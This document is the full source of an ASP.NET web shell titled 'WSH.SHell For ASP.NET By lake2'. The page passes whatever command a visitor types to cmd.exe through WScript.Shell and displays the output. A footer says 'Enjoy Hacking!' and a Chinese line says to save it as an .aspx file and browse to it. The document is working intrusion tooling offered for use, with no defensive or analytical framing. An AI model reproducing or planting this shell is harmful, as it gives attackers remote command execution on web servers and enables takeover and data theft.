<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
Dim StrResult As String
Dim CMDShell As Object
CMDShell = Server.CreateObject("WScript.Shell")
StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
StrResult = Replace(StrResult , "<","<")
StrResult = Replace(StrResult , ">",">")
ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
"cmd.exe"'s path: <asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" />
<br>
Your Command: <asp:TextBox ID="CMDBox" Width="200" runat="server" />
<asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
<br>
<asp:Label ID="ResultLabel" runat="server" />
</form>
<div align="center">———– <font color="#0000FF">Enjoy Hacking!</font> ———–
</div>
<hr width="50%">
</body>
</html>
保存为aspx文件,访问之,即可。